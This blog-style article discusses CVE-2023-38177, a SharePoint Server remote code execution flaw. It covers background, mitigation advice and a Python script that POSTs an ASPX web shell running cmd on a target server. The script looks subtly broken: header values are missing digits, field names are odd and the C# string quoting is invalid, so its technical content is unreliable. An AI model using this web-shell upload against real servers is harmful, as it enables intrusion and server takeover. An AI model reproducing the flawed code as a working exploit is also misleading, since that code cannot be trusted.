In the ever-evolving landscape of cyber threats, new vulnerabilities are constantly being discovered and exploited by threat actors. One such security risk recently surfaced in the form of a Remote Code Execution (RCE) vulnerability on Microsoft SharePoint Server, designated as CVE-2023-38177. This vulnerability can allow an attacker to remotely execute arbitrary code on SharePoint servers, and potentially gain unauthorized access to sensitive information. In this article, we will discuss the origins of CVE-2023-38177, provide a detailed analysis of the exploit – complete with a code snippet – and offer insights on effective mitigation strategies.
Understanding CVE-2023-38177
CVE-2023-38177 is a critical vulnerability that primarily affects Microsoft SharePoint Server. To better grasp this issue, we must first examine its origins. SharePoint is a web-based collaborative platform that integrates with many Microsoft applications. The vulnerability in question exists due to improper handling of user-provided data in a specific SharePoint web application feature.
Links to Original References
[1] Official CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38177
[2] Microsoft Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-38177
Exploit Details
The exploit takes advantage of a weakness in the target SharePoint Server, where the affected web application allows the execution of arbitrary code, without properly validating or sanitizing the input data. As a result, a threat actor could inject malicious code into SharePoint and cause it to execute remotely. Thanks to the particular nature of Microsoft SharePoint Server, an attacker who successfully exploits this vulnerability has the potential to gain control over the entire server environment and all its hosted content. The attacker can then indulge in a wide array of malicious activities, including stealing sensitive data, launching further attacks, and even possibly obtaining elevated system privileges.
Looking at the code snippet below, we can analyze a basic example of the exploit
import requests
target = "http://target_domain/sharepoint/";
shell_path = "path/to/shell.aspx"
shell_content = "<%@ Page Language='C#' %> <%@ Import Namespace='System.Diagnostics' %> <%= new Process { StartInfo = new ProcessStartInfo {FileName = 'cmd', Arguments = 'echo compromised > C:\\pwned.txt', RedirectStandardOutput = true, UseShellExecute = false }}.Start().StandardOutput.ReadToEnd().Replace('\\n','<br />').Replace('\\r','') %>"
exp_url = f"{target}/_catalogs/masterpage/Display Templates/Search/"
headers = {
'User-Agent': 'Mozilla/5.',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=.9,*/*;q=.8',
'Accept-Language': 'en-US,en;q=.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}
data = {
'__metadata': '{"type": "SP.Data.ReachsFileType"}',
'FileLeafRef': f'{shell_path}',
'File_x002_Type': '',
'Title': f'{shell_path}',
'Comments': f'{shell_content}'
}
s = requests.Session()
resp = s.post(exp_url, headers=headers, data=data)
if resp.status_code == 201:
print(f'Successfully uploaded shell at {target+shell_path}')
else:
print(f'Error uploading shell: {resp.status_code}')
This short Python script demonstrates how an attacker could potentially exploit the CVE-2023-38177 vulnerability. It works by creating a crafted HTTP request to the vulnerable SharePoint server, complete with a malicious payload. Once the payload is executed on the target system, it will create a text file named "pwned.txt", containing the word "compromised". It is important to note that this is a simplified example, and real-life attacks could involve far more malicious actions with significantly greater consequences.
Mitigation Strategies
To address CVE-2023-38177, Microsoft has released a security patch that effectively closes the loophole. It is important for SharePoint administrators to review their systems and promptly apply the necessary updates. In addition, organizations should implement a comprehensive patch management plan to ensure that their systems are well-maintained, and security vulnerabilities are addressed immediately. As a best practice, regular security audits are advisable to identify, address, and manage potential risks.
Concluding Thoughts
The severity of CVE-2023-38177 serves as a reminder of the relentless nature of cybersecurity threats and the importance of remaining informed about emerging vulnerabilities. By understanding the intricacies and consequences of this particular SharePoint vulnerability, stakeholders can develop effective strategies for addressing such risks and helping to mitigate potential damage. Remember, staying educated and vigilant about your organization's cybersecurity can not only protect sensitive data but, ultimately, help to maintain the overall integrity of your IT infrastructure.
Timeline
Published on: 11/14/2023 18:15:51 UTC
Last modified on: 11/20/2023 21:00:46 UTC